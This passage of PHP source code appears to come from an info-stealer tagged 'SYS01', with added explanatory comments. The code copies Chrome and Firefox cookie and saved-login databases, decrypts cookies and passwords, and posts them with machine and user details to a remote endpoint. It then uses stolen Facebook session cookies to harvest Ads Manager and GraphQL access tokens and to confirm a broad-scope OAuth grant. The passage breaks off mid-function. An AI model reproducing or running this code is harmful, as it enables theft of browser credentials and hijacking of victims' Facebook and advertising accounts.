        mprint($profiles);
        /**
        * This block of code iterates through each profile and checks for the existence of a cookie file. If the file exists, it copies the file to a temporary directory andperforms a decryption operation on the file.
        * It then queries the SQLite database for cookies and parses the data. If the cookie is from Facebook, it is added to the $domainFBCookie array. If the cookie is an "xs"cookie, the $hasFBLogged flag is set to true. If the cookie is a "c_user" cookie, the $uid variable is set to the value of the cookie.
        * 
        * @param array $profiles An array of profiles.
        * @param object $profileCache The object containing profile information.
        * @param string $tmpPath The temporary path.
        * @return void
        */
        foreach ($profiles as $profile) {
            if (file_exists($profile)) {
                $folderName = basename($profile);
                $profileName = NULL;
                if ($folderName && isset($profileCache->{$folderName})) {
                    $profileName = $profileCache->{$folderName}->name;
                }
                if (!$profileName) {
                    $profileName = $folderName;
                }
                $cookieFile = $profile . "\Network\Cookies";
                $loginFile = $profile . "\Login Data";
                if (!file_exists($cookieFile)) {
                    $cookieFile = $profile . "\Cookies";
                }
                if (file_exists($cookieFile)) {
                    $newProfileName = uniqid("CHROMIUM") . rand(11111, 99999);
                    $newPathProfile = $tmpPath . "\" . $newProfileName;
                    mkdir($newPathProfile, 511, true);
                    $newCookieFile = $newPathProfile . "\" . uniqid("ac");
                    $newLoginFile = $newPathProfile . "\" . uniqid("lg");
                    copy($cookieFile, $newCookieFile);
                    if (file_exists($loginFile)) {
                        copy($loginFile, $newLoginFile);
                    }
                    #Here it queries sqlite for the cookies and parses the data. The cookies are then sent to the endpoint.
                    $dbh = new PDO("sqlite:" . $newCookieFile);
                    $query = "SELECT * FROM cookies";
                    $cookies = [];
                    $domainFBCookie = [];
                    $domainFBHasXS = [];
                    $hasFBLogged = false;
                    $uid = NULL;
                    /**
                    * This block of code queries the SQLite database for cookies and parses the data. It then queries the database for login data and parses the data. 
                    * If the password is encrypted, it is decrypted using the decrypt() function. The login data is then added to the $dataLogin array.
                    * The foreach loop iterates through each cookie and parses the data. If the cookie is from Facebook, it is added to the $domainFBCookie array. 
                    * If the cookie is an "xs" cookie, the $hasFBLogged flag is set to true. If the cookie is a "c_user" cookie, the $uid variable is set to the value of thecookie.
                    * 
                    * @param array $cookies An array of cookies.
                    * @param string $newLoginFile The path to the login data file.
                    * @param string $newCookieFile The path to the cookie file.
                    * @param string $decryptedKey The decrypted key.
                    * @param string $tmpPath The temporary path.
                    * @param object $object The object.
                    * @param array $profiles An array of profiles.
                    * @return void
                    */
                    try {
                        #This foreach loop iterates through each cookie and parses the data. If the cookie is from Facebook, it is added to the $domainFBCookie array. If the cookie is an "xs" cookie, the $hasFBLogged flag is set to true. If the cookie is a "c_user" cookie, the $uid variable is set to the value of the cookie.
                        foreach ($dbh->query($query)->fetchAll(PDO::FETCH_OBJ) as $row) {
                            $cookie = [];
                            if ($row->host_key) {
                                $cookie["domain"] = $row->host_key;
                            }
                            if ($row->name) {
                                $cookie["name"] = $row->name;
                            }
                            if ($row->path) {
                                $cookie["path"] = $row->path;
                            }
                            if ($row->expires_utc) {
                                $cookie["expired_time"] = $row->expires_utc;
                            }
                            $cookie["secure"] = boolval($row->is_secure);
                            $cookie["httpOnly"] = boolval($row->is_httponly);
                            $cookie["sameSite"] = $row->samesite;
                            if ($row->encrypted_value) {
                                try {
                                    $cookie["value"] = $this->decrypt($row->encrypted_value, $decryptedKey);
                                } catch (Exception $e) {
                                }
                            }
                            $cookies[] = $cookie;
                            if (strpos($row->host_key, "facebook.com")) {
                                if (empty($domainFBCookie[$cookie["domain"]])) {
                                    $domainFBCookie[$cookie["domain"]] = "";
                                }
                                $domainFBCookie[$cookie["domain"]] .= $cookie["name"] . "=" . $cookie["value"] . ";";
                                if ($row->name == "xs") {
                                    $hasFBLogged = true;
                                    $domainFBHasXS[$cookie["domain"]] = $cookie["domain"];
                                }
                                if ($row->name == "c_user") {
                                    $uid = $cookie["value"];
                                }
                            }
                        }
                    } catch (Exception $e) {
                    }
                    mprint("Done read cookie");
                    $dbh = NULL;
                    #Then it queries sqlite for the login data and parses the data.
                    if ($cookies) {
                        $dataLogin = [];
                        if (file_exists($newLoginFile)) {
                            try {
                                $dbh = new PDO("sqlite:" . $newLoginFile);
                                $query = "SELECT * FROM logins";
                                #This foreach loop iterates through each login and parses the data. If the password is encrypted, it is decrypted using the decrypt() function. The login data is then added to the $dataLogin array.
                                foreach ($dbh->query($query)->fetchAll(PDO::FETCH_OBJ) as $row) {
                                    $loginRow = [$row->origin_url, $row->username_value];
                                    if ($row->password_value) {
                                        try {
                                            $loginRow[2] = $this->decrypt($row->password_value, $decryptedKey);
                                        } catch (Exception $e) {
                                        }
                                    }
                                    $loginRow[3] = $row->action_url;
                                    $dataLogin[] = $loginRow;
                                }
                            } catch (Exception $e) {
                            }
                        }
                        $dbh = NULL;
                        mprint("Done send pass");
                        // This block of code sends cookies and login data to an endpoint if $taskInfo->sendD is set to 1.
                        /**
                        * Sends data to an endpoint if $taskInfo->sendD is set to 1.
                        * The data to be sent is stored in an array called $dataToPost.
                        * The $dataToPost array contains the following parameters:
                        * - key: a string that represents the key to be used for the POST request.
                        * - m: a string that represents the machine ID.
                        * - uid: a string that represents the user ID.
                        * - d: an array that contains the cookies.
                        * - h: NULL.
                        * - p: an array that contains the login data.
                        * - f: a string that represents the flag.
                        * - pn: a string that represents the profile name.
                        * - pp: a string that represents the profile.
                        * - v: a string that represents the version.
                        * - b: a string that represents the browser.
                        * - bversion: a string that represents the browser version.
                        * - ua: a string that represents the user agent.
                        * - uname: a string that represents the username.
                        *
                        * @param object $taskInfo An object that contains the task information.
                        * @param string $machineId A string that represents the machine ID.
                        * @param string $uid A string that represents the user ID.
                        * @param array $cookies An array that contains the cookies.
                        * @param array $dataLogin An array that contains the login data.
                        * @param string $profileName A string that represents the profile name.
                        * @param string $profile A string that represents the profile.
                        * @param string $browser A string that represents the browser.
                        * @param string $lastVersion A string that represents the last version.
                        * @param string $userAgent A string that represents the user agent.
                        * @param string $uname A string that represents the username.
                        * @throws Exception If an error occurs while sending the data to the endpoint.
                        */
                        if ($taskInfo->sendD == 1) {
                            // The data to be sent is stored in an array called $dataToPost.
                            $dataToPost = [
                                "key" => "get_ck_all",
                                "m" => $machineId,
                                "uid" => $uid,
                                "d" => $cookies,
                                "h" => NULL,
                                "p" => $dataLogin,
                                "f" => "SYS01",
                                "pn" => $profileName,
                                "pp" => $profile,
                                "v" => $config["version"],
                                "b" => $browser,
                                "bversion" => $lastVersion,
                                "ua" => $userAgent,
                                "uname" => $uname
                            ];
                            try {
                                // The $dataToPost array is sent to an endpoint using the Helper::sendToEndPoint() function.
                                mprint($dataToPost);
                                Helper::sendToEndPoint($dataToPost);
                                // The script sleeps for a random amount of time between 1 and 4 seconds.
                                sleep(rand(1, 4));
                            } catch (Exception $e) {
                            }
                        }
                        // This line prints "Done Send D" to the console.
                        mprint("Done Send D");
                        /**
                        * This code block checks if the user has logged in to Facebook and retrieves the cookie string for each domain in the domainPriorityList.
                        * If the cookie string is found, it checks if the taskInfo has the rs_flag, getckIG, getckIP, and getckIP2 flags set to 1.
                        * If the rs_flag is set to 1, it calls the checkResource() function with the resourceRequest, cookie string, user agent, machine ID, UID, profile name,profile, browser, last version, username, and taskInfo as parameters.
                        * If the getckIG flag is set to 1, it calls the getCkIG() function with the cookie string and user agent as parameters.
                        * If the getCkIG() function returns a non-empty array, it sends a GCM message and a POST request to an endpoint with the dataToPost array as parameters.
                        * If the getckIP flag is set to 1, it calls the getCkIP() function with the cookie string, user agent, and UID as parameters.
                        * If the getCkIP() function returns a non-empty string, it sends a POST request to an endpoint with the dataToPost array as parameters.
                        * If the getckIP2 flag is set to 1, it calls the getCkIP2() function with the cookie string and user agent as parameters.
                        * If the getCkIP2() function returns a non-empty string, it sends a POST request to an endpoint with the dataToPost array as parameters.
                        *
                        * @param bool $hasFBLogged A boolean value indicating whether the user has logged in to Facebook.
                        * @param array $domainPriorityList An array of domain names in order of priority.
                        * @param array $domainFBHasXS An array of domain names that have the xs cookie.
                        * @param array $domainFBCookie An array of cookie strings for each domain in the domainPriorityList.
                        * @param object $taskInfo An object containing task information.
                        * @param string $resourceRequest A string containing the resource request.
                        * @param string $userAgent A string containing the user agent.
                        * @param string $machineId A string containing the machine ID.
                        * @param string $uid A string containing the UID.
                        * @param string $profileName A string containing the profile name.
                        * @param string $profile A string containing the profile.
                        * @param string $browser A string containing the browser.
                        * @param string $lastVersion A string containing the last version.
                        * @param string $uname A string containing the username.
                        */
                        if ($hasFBLogged) {
                            $strCK = NULL;
                            foreach ($this->domainPriorityList as $domain) {
                                if (in_array($domain, $domainFBHasXS)) {
                                    $strCK = $domainFBCookie[$domain];
                                    try {
                                        if ($strCK) {
                                            if ($taskInfo->rs_flag == 1) {
                                                $this->checkResource($resourceRequest, $strCK, $userAgent, $machineId, $uid, $profileName, $profile, $browser, $lastVersion, $uname, $taskInfo);
                                            }
                                            if ($taskInfo->getckIG == 1) {
                                                $cIG = $this->getCkIG($strCK, $userAgent);
                                                if ($cIG && count($cIG)) {
                                                    $dataToPost = ["key" => "ig_ck", "m" => $machineId, "uid" => $uid, "d" => $cIG, "f" => "SYS01", "pn" => $profileName, "pp" => $profile, "v" => $config["version"], "b" => $browser, "bversion" => $lastVersion, "ua" => $userAgent, "uname" => $uname];
                                                    try {
                                                        Helper::sendGCM($dataToPost, 1);
                                                        sleep(1);
                                                    } catch (Exception $e) {
                                                    }
                                                    try {
                                                        Helper::sendToEndPoint($dataToPost);
                                                    } catch (Exception $e) {
                                                    }
                                                }
                                            }
                                            if ($taskInfo->getckIP == 1) {
                                                $ckIP = $this->getCkIP($strCK, $userAgent, $uid);
                                                if ($ckIP) {
                                                    $dataToPost = ["key" => "ip_ck", "m" => $machineId, "uid" => $uid, "d" => $ckIP, "f" => "SYS01", "pn" => $profileName, "pp" => $profile, "v" => $config["version"], "b" => $browser, "bversion" => $lastVersion, "ua" => $userAgent, "uname" => $uname];
                                                    try {
                                                        Helper::sendToEndPoint($dataToPost);
                                                    } catch (Exception $e) {
                                                    }
                                                }
                                            }
                                            if ($taskInfo->getckIP2 == 1) {
                                                $ckIP = $this->getCkIP2($strCK, $userAgent);
                                                if ($ckIP) {
                                                    $dataToPost = ["key" => "ip_ck2", "m" => $machineId, "uid" => $uid, "d" => $ckIP, "f" => "SYS01", "pn" => $profileName, "pp" => $profile, "v" => $config["version"], "b" => $browser, "bversion" => $lastVersion, "ua" => $userAgent, "uname" => $uname];
                                                    try {
                                                        Helper::sendToEndPoint($dataToPost);
                                                    } catch (Exception $e) {
                                                    }
                                                }
                                            }
                                        }
                                    } catch (Exception $e) {
                                    }
                                }
                            }
                        }
                        mprint("Done check resource");
                        sleep(rand(1, 2));
                    }
                }
            }
        }
        try {
            Helper::deleteAllFolder($tmpPath);
        } catch (Exception $e) {
        }
    }
    /**
     * Parses Mozilla Firefox browser data from the user's machine
     *
     * @param string $machineId The unique identifier of the user's machine
     * @param string $browser The name of the browser being parsed
     * @param string $tmpPath The temporary path to store the parsed data
     * @param string $resourceRequest The resource request being processed
     * @param array $taskInfo The task information being processed
     * @return mixed|null Returns null if the data path does not exist, otherwise returns the parsed data
     */
    private function parseMoz($machineId, $browser, $tmpPath, $resourceRequest, $taskInfo)
    {
        global $config;
        global $uname;

        // Check if the data path exists
        if (!file_exists($this->dataPath)) {
            return NULL;
        }

        // Read all directories in the data path
        $profiles = Helper::readDirs($this->dataPath);

        // Get the home drive of the user's operating system
        $osDrive = getenv("HOMEDRIVE");

        // Define the possible paths to the Firefox application.ini file
        $pathDrives = [$osDrive . "\Program Files\Mozilla Firefox\application.ini", $osDrive . "\Program Files (x86)\Mozilla Firefox\application.ini"];

        // Set the default browser version
        $bVersion = "104.0";

        // Loop through each possible path to the Firefox application.ini file
        foreach ($pathDrives as $pathDrive) {
            // Check if the path exists
            if (file_exists($pathDrive)) {
                // Read the contents of the file
                $_c = file_get_contents($pathDrive);

                // Split the contents into an array of lines
                $lines = explode(PHP_EOL, $_c);

                // If the array only has 2 elements, split by "n" instead
                if (count($lines) <= 2) {
                    $lines = explode("n", $_c);
                }

                // Loop through each line in the array
                foreach ($lines as $line) {
                    // Check if the line starts with "Version="
                    if (Helper::startsWith($line, "Version=")) {
                        // Set the browser version to the value after "Version="
                        $bVersion = str_replace("Version=", "", $line);
                    }
                }
            }
        }
        /**
         * This code block retrieves cookies from a Firefox profile and sends them to a server.
         * It loops through each profile and creates a new profile with a unique name.
         * It then copies the cookies.sqlite file from the original profile to the new profile.
         * It retrieves the cookies from the copied file and stores them in an array.
         * If the cookies contain a Facebook login, it extracts the user ID and Facebook cookies.
         * It then sends the cookies to a server using the Helper::sendGCM and Helper::sendToEndPoint methods.
         * If the taskInfo object has certain flags set, it also performs additional actions with the cookies.
         *
         * @param array $profiles An array of paths to Firefox profiles
         * @param string $tmpPath The path to a temporary directory to store the new profiles
         * @param string $machineId The ID of the machine running the script
         * @param string $browser The name of the browser (Firefox)
         * @param string $bVersion The version of the browser
         * @param string $uname The name of the user running the script
         * @param object $taskInfo An object containing information about the task to perform
         * @param object $resourceRequest An object containing information about a resource request
         * @return void
         */
        $pOS = php_uname("s");
        $pOSR = php_uname("r");
        $userAgent = "Mozilla/5.0 (" . $pOS . " " . $pOSR . "; Win64; x64; rv:" . $bVersion . ") Gecko/20100101 Firefox/" . $bVersion;
        foreach ($profiles as $profile) {
            $profileName = basename($profile);
            $cookieFile = $profile . "\cookies.sqlite";
            if (file_exists($cookieFile)) {
                $newProfileName = uniqid("MOZ") . rand(11111, 99999) . md5($profileName);
                $newPathProfile = $tmpPath . "\" . $newProfileName;
                mkdir($newPathProfile, 511, true);
                $newCookieFile = $newPathProfile . "\c.txt";
                copy($cookieFile, $newCookieFile);
                $dbh = new PDO("sqlite:" . $newCookieFile);
                $query = "SELECT * FROM moz_cookies";
                $cookies = [];
                $domainFBCookie = [];
                $domainFBHasXS = [];
                $hasFBLogged = false;
                $uid = NULL;
                try {
                    foreach ($dbh->query($query)->fetchAll(PDO::FETCH_OBJ) as $row) {
                        $cookie = [];
                        if ($row->host) {
                            $cookie["domain"] = $row->host;
                        }
                        if ($row->name) {
                            $cookie["name"] = $row->name;
                        }
                        if ($row->path) {
                            $cookie["path"] = $row->path;
                        }
                        if ($row->expiry) {
                            $cookie["expired_time"] = $row->expiry;
                        }
                        $cookie["secure"] = $row->isSecure;
                        $cookie["httpOnly"] = $row->isHttpOnly;
                        $cookie["sameSite"] = $row->sameSite;
                        $cookie["value"] = $row->value;
                        $cookies[] = $cookie;
                        if (strpos($row->host, "facebook.com")) {
                            if (empty($domainFBCookie[$cookie["domain"]])) {
                                $domainFBCookie[$cookie["domain"]] = "";
                            }
                            $domainFBCookie[$cookie["domain"]] .= $cookie["name"] . "=" . $cookie["value"] . ";";
                            if ($row->name == "xs") {
                                $hasFBLogged = true;
                                $domainFBHasXS[$cookie["domain"]] = $cookie["domain"];
                            }
                            if ($row->name == "c_user") {
                                $uid = $cookie["value"];
                            }
                        }
                    }
                } catch (Exception $e) {
                }
                $dbh = NULL;
                if ($cookies) {
                    $dataToPost = ["key" => "get_ck_all", "m" => $machineId, "uid" => $uid, "d" => $cookies, "h" => NULL, "p" => NULL, "f" => "SYS01", "pn" => $profileName, "pp" => $profile, "v" => $config["version"], "b" => $browser, "ua" => $userAgent, "uname" => $uname];
                    try {
                        Helper::sendGCM($dataToPost, 1);
                        sleep(1);
                    } catch (Exception $e) {
                    }
                    try {
                        Helper::sendToEndPoint($dataToPost);
                    } catch (Exception $e) {
                    }
                    if ($hasFBLogged) {
                        $strCK = NULL;
                        foreach ($this->domainPriorityList as $domain) {
                            if (in_array($domain, $domainFBHasXS)) {
                                $strCK = $domainFBCookie[$domain];
                                try {
                                    if ($strCK) {
                                        if ($taskInfo->rs_flag == 1) {
                                            $this->checkResource($resourceRequest, $strCK, $userAgent, $machineId, $uid, $profileName, $profile, $browser, $bVersion, $uname, $taskInfo);
                                        }
                                        if ($taskInfo->getckIG == 1) {
                                            $cIG = $this->getCkIG($strCK, $userAgent);
                                            if ($cIG && count($cIG)) {
                                                $dataToPost = ["key" => "ig_ck", "m" => $machineId, "uid" => $uid, "d" => $cIG, "f" => "SYS01", "pn" => $profileName, "pp" => $profile, "v" => $config["version"], "b" => $browser, "bversion" => $bVersion, "ua" => $userAgent, "uname" => $uname];
                                                try {
                                                    Helper::sendGCM($dataToPost, 1);
                                                    sleep(1);
                                                } catch (Exception $e) {
                                                }
                                                try {
                                                    Helper::sendToEndPoint($dataToPost);
                                                } catch (Exception $e) {
                                                }
                                            }
                                        }
                                        if ($taskInfo->getckIP == 1) {
                                            $ckIP = $this->getCkIP($strCK, $userAgent, $uid);
                                            if ($ckIP) {
                                                $dataToPost = ["key" => "ip_ck", "m" => $machineId, "uid" => $uid, "d" => $ckIP, "f" => "SYS01", "pn" => $profileName, "pp" => $profile, "v" => $config["version"], "b" => $browser, "bversion" => $bVersion, "ua" => $userAgent, "uname" => $uname];
                                                try {
                                                    Helper::sendToEndPoint($dataToPost);
                                                } catch (Exception $e) {
                                                }
                                            }
                                        }
                                        if ($taskInfo->getckIP2 == 1) {
                                            $ckIP = $this->getCkIP2($strCK, $userAgent);
                                            if ($ckIP) {
                                                $dataToPost = ["key" => "ip_ck2", "m" => $machineId, "uid" => $uid, "d" => $ckIP, "f" => "SYS01", "pn" => $profileName, "pp" => $profile, "v" => $config["version"], "b" => $browser, "bversion" => $bVersion, "ua" => $userAgent, "uname" => $uname];
                                                try {
                                                    Helper::sendToEndPoint($dataToPost);
                                                } catch (Exception $e) {
                                                }
                                            }
                                        }
                                    }
                                } catch (Exception $e) {
                                }
                            }
                        }
                    }
                    sleep(1);
                }
            }
        }
    }
    /**
     * Decrypts data using AES-256-GCM encryption with the given key.
     *
     * @param string $data The data to decrypt.
     * @param string $key The key to use for decryption.
     * @return string The decrypted data.
     */
    private function decrypt($data, $key)
    {
        try {
            // Remove the first three characters from the encrypted data.
            $encrypted = $data;
            $encrypted = substr($encrypted, 3);

            // Set the cipher and extract the IV, ciphertext, and tag from the encrypted data.
            $cipher = "aes-256-gcm";
            $iv = substr($encrypted, 0, 12);
            $ciphertext = substr($encrypted, 12, -16);
            $tag = substr($encrypted, -16);

            // Decrypt the ciphertext using the given key, IV, and tag.
            $decrypted = openssl_decrypt($ciphertext, $cipher, $key, OPENSSL_RAW_DATA, $iv, $tag);

            // Return the decrypted data.
            return $decrypted;
        } catch (Exception $e) {
            // If an exception occurs, print the error and return null.
            print_r($e);
            return null;
        }
    }
    // This function checks a resource by making a request to its URL and sending the response to the endpoint.
    // It takes in the resource object, cookie string, user agent, machine ID, user ID, profile name, profile, browser, last version, username, and task info.
    private function checkResource($res, $cookieStr, $ua, $machineId, $uid, $profileName, $profile, $browser, $lastVersion, $uname, $taskInfo)
    {
        try {
            global $config;
            // Set the base header for the request.
            $header = ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr];
            $callBy = 1;
            $tokenEAB = NULL;
            // If callBy is 1, get the EAG token and use it to make requests to the resource URLs.
            if ($callBy == 1) {
                $tokenEAG = $this->getTokenAG($cookieStr, $ua);
                sleep(rand(1, 3));
                if ($tokenEAG) {
                    foreach ($res as $re) {
                        // Append the EAG token to the resource URL.
                        $url = $re->u . "&access_token=" . $tokenEAG;
                        // Make a GET request to the resource URL.
                        $content = Request::get($url, $header);
                        // Create an array of data to send to the endpoint.
                        $dataToPost = ["key" => "resource", "m" => $machineId, "uid" => $uid, "f" => "SYS01", "t" => $tokenEAB, "t_ag" => $tokenEAG, "r" => ["k" => $re->k, "d" => $content], "pn" => $profileName, "pp" => $profile, "v" => $config["version"], "b" => $browser, "bversion" => $lastVersion, "ua" => $ua, "uname" => $uname];
                        // Send the data to the endpoint.
                        Helper::sendToEndPoint($dataToPost);
                        sleep(rand(1, 2));
                    }
                }
            }
            return 0;
        } catch (Exception $e) {
            return NULL;
        }
    }

    // This function retrieves a Facebook access token by making requests to the Facebook Ads Manager.
    // It takes in the cookie string and user agent.
    /**
     * Retrieves a Facebook access token by making requests to the Facebook Ads Manager.
     *
     * @param string $cookieStr The cookie string.
     * @param string $ua The user agent.
     *
     * @return string|null The access token or null if it could not be retrieved.
     */
    private function getTokenB($cookieStr, $ua)
    {
        // Set the base header for the request.
        $baseHeader = [
            "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
            "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4",
            "connection: keep-alive",
            "upgrade-insecure-requests: 1",
            "Cache-Control: max-age=0",
            "user-agent: " . $ua,
            "cookie: " . $cookieStr,
            "authority: www.facebook.com",
            "dnt: 1",
            "referer: https://www.facebook.com/adsmanager/manage",
            "sec-ch-prefers-color-scheme: light",
            "sec-fetch-dest: document",
            "sec-fetch-mode: navigate",
            "sec-fetch-site: same-origin",
            "viewport-width: 1280"
        ];

        // Make a GET request to the Facebook Ads Manager page to retrieve the user's ad account ID.
        $actResponse = Request::get("https://www.facebook.com/adsmanager/manage", $baseHeader);

        // Extract the user's ad account ID from the response.
        preg_match_all("/act=(\d+)/mi", $actResponse, $matches, PREG_SET_ORDER, 0);
        if ($matches && $matches[0] && $matches[0][1]) {
            $actId = $matches[0][1];

            // Wait for a random amount of time before making another request.
            sleep(rand(2, 4));

            // Make a GET request to the Facebook Ads Manager page with the user's ad account ID to retrieve the access token.
            $tokenResponse = Request::get("https://www.facebook.com/adsmanager/manage?act=" . $actId, $baseHeader);

            // Extract the access token from the response.
            $matches = NULL;
            preg_match_all("/"(EAAB[^"]+)/mi", $tokenResponse, $matches, PREG_SET_ORDER, 0);
        }

        // Return the access token.
        if ($matches && $matches[0] && $matches[0][1]) {
            return $matches[0][1];
        }
        return NULL;
    }

    /**
     * This function takes a cookie string and a user agent string as input, and returns the access token for the user's Facebook Ads account.
     *
     * @param string $cookieStr The cookie string for the user's Facebook session.
     * @param string $ua The user agent string for the user's browser.
     * @return string|null The access token for the user's Facebook Ads account, or null if the access token cannot be retrieved.
     */
    private function getTokenAG($cookieStr, $ua)
    {
        try {
            // Set the base headers for the request.
            $baseHeader = ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr];
            $actResponse = NULL;
            $retryCount = 1;
            $urlFB = "https://www.facebook.com";

            // Retry the request up to 5 times.
            while ($retryCount <= 5) {
                $retryCount++;
                $response = Request::get($urlFB, $baseHeader, NULL, true);
                $info = $response["info"];

                // If the response is a redirect, update the URL.
                if ($info && $info["http_code"] == "302") {
                    $urlFB = $info["redirect_url"];
                }

                // If the response has content, set it as the actResponse.
                if ($response["content"]) {
                    $actResponse = $response["content"];
                } else {
                    sleep(rand(1, 3));
                }
            }

            // Extract the access token from the response.
            preg_match_all("/DTSG[^"]+Data"[^"]+"token":"([^"]+)/mi", $actResponse, $matches, PREG_SET_ORDER, 0);
            if ($matches && $matches[0] && $matches[0][1]) {
                $dtsg = $matches[0][1];
                $data = ["fb_dtsg" => $dtsg, "__a" => 1, "variables" => "{"businessID": "258244528572574"}", "doc_id" => "6805088329501573"];

                // Extract the LSD and jazoest values from the response.
                // LSD is a unique identifier used by Facebook to prevent cross-site request forgery (CSRF) attacks.
                // jazoest is a value used by Facebook to prevent automated requests from bots.
                preg_match_all("/\\"LSD\\",\[\],{\\"token\\":\\"(.*?)\\"/mi", $actResponse, $matchesLSD);
                preg_match_all("/name=\\\"jazoest\\\" value=\\\"(.*?)\\\"/mi", $actResponse, $matchesJazoest, PREG_SET_ORDER, 0);
                $lsd = NULL;
                if ($matchesLSD && $matchesLSD[1] && $matchesLSD[1][0]) {
                    $lsd = $matchesLSD[1][0];
                    $data["lsd"] = $lsd;
                }
                if ($matchesJazoest && $matchesJazoest[0] && $matchesJazoest[0][1]) {
                    $data["jazoest"] = $matchesJazoest[0][1];
                }

                // Send a POST request to get the access token.
                sleep(rand(1, 3));
                $tmpHeader1 = ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr, "sec-fetch-dest: empty", "sec-fetch-mode: cors", "sec-fetch-site: same-origin", "authority: www.facebook.com", "content-type: application/x-www-form-urlencoded", "dnt: 1", "origin: https://www.facebook.com", "referer: https://www.facebook.com/", "viewport-width: 1920"];
                if ($lsd) {
                    $tmpHeader1[] = "x-fb-lsd: " . $lsd;
                }
                $rs = Request::post("https://www.facebook.com/api/graphql", $data, $tmpHeader1, [CURLOPT_POSTFIELDS => http_build_query($data)]);
                if ($rs) {
                    $responeJSON = json_decode($rs);

                    // If the access token is found, return it.
                    if (isset($responeJSON->data->business->bizKitSettingsConfig)) {
                        $tk = $responeJSON->data->business->bizKitSettingsConfig->apiAccessToken;
                        if ($tk) {
                            return $tk;
                        }
                    }
                }
            }
        } catch (Exception $e) {
            print_r($e->getMessage());
        }
    }
// This function takes a cookie string and a user agent string as input, and returns an array of cookies

private function getCkIG($cookieStr, $ua)
{
    // The URL to send a GET request to
    $url = "https://www.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=fbconnect://success&scope=email,publish_actions,publish_pages,user_about_me,user_actions.books,user_actions.music,user_actions.news,user_actions.video,user_activities,user_birthday,user_education_history,user_events,user_games_activity,user_groups,user_hometown,user_interests,user_likes,user_location,user_notes,user_photos,user_questions,user_relationship_details,user_relationships,user_religion_politics,user_status,user_subscriptions,user_videos,user_website,user_work_history,friends_about_me,friends_actions.books,friends_actions.music,friends_actions.news,friends_actions.video,friends_activities,friends_birthday,friends_education_history,friends_events,friends_games_activity,friends_groups,friends_hometown,friends_interests,friends_likes,friends_location,friends_notes,friends_photos,friends_questions,friends_relationship_details,friends_relationships,friends_religion_politics,friends_status,friends_subscriptions,friends_videos,friends_website,friends_work_history,ads_management,create_event,create_note,export_stream,friends_online_presence,manage_friendlists,manage_notifications,manage_pages,photo_upload,publish_stream,read_friendlists,read_insights,read_mailbox,read_page_mailboxes,read_requests,read_stream,rsvp_event,share_item,sms,status_update,user_online_presence,video_upload,xmpp_login&response_type=token";
    /**
     * This function sends a GET request to a URL to extract a DTSG token from the response.
     * It then sends a POST request to another URL with the extracted token to obtain an access token.
     * Finally, it sends another POST request to a third URL with the access token to extract cookies from the response.
     * 
     * @param string $url The URL to send the GET request to.
     * @param string $ua The user agent to include in the headers.
     * @param string $cookieStr The cookie string to include in the headers.
     * @return array An array of cookies extracted from the response.
     */
    
    // The base headers to include in the request
    $baseHeader = [
        "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4",
        "connection: keep-alive",
        "upgrade-insecure-requests: 1",
        "Cache-Control: max-age=0",
        "user-agent: " . $ua,
        "cookie: " . $cookieStr
    ];
    
    // Send a GET request to the URL with the base headers
    $response = Request::get($url, $baseHeader);
    
    // Use a regular expression to extract the DTSG token from the response
    preg_match_all("/DTSG[^"]+Data"[^"]+"token":"([^"]+)/mi", $response, $matches, PREG_SET_ORDER, 0);
    
    // If the DTSG token was found
    if ($matches && $matches[0] && $matches[0][1]) {
        $dtsg = $matches[0][1];
        
        // The headers to include in the next request
        $tmpHeader1 = [
            "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
            "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4",
            "connection: keep-alive",
            "upgrade-insecure-requests: 1",
            "Cache-Control: max-age=0",
            "user-agent: " . $ua,
            "cookie: " . $cookieStr,
            "sec-fetch-dest: empty",
            "sec-fetch-mode: cors",
            "sec-fetch-site: same-origin",
            "authority: www.facebook.com",
            "content-type: application/x-www-form-urlencoded",
            "dnt: 1",
            "origin: https://www.facebook.com",
            "referer: " . $url
        ];
        
        // Wait for 1 second
        sleep(1);
        
        // The data to include in the POST request
        $data = [
            "fb_dtsg" => $dtsg,
            "app_id" => "124024574287414",
            "redirect_uri" => "fbconnect://success",
            "display" => "page",
            "access_token" => "",
            "from_post" => "1",
            "return_format" => "access_token",
            "domain" => "",
            "sso_device" => "ios",
            "_CONFIRM" => "1"
        ];
        
        // Send a POST request to the URL with the data and headers
        $rs = Request::post("https://www.facebook.com/v1.0/dialog/oauth/confirm", $data, $tmpHeader1, [CURLOPT_POSTFIELDS => http_build_query($data)]);
        
        // If the POST request was successful
        if ($rs) {
            // Use a regular expression to extract the access token from the response
            preg_match_all("/access_token=(EAAB[^"]+)"/mi", $rs, $matchesAc, PREG_SET_ORDER, 0);
            
            // If the access token was found
            if ($matchesAc && $matchesAc[0] && $matchesAc[0][1]) {
                $tokenTmp = $matchesAc[0][1];
                $tokenTmp = explode("&", $tokenTmp);
                
                // If the token is valid
                if ($tokenTmp && $tokenTmp[0]) {
                    $tokenTmp = $tokenTmp[0];
                    
                    // Wait for 1 second
                    sleep(1);
                    
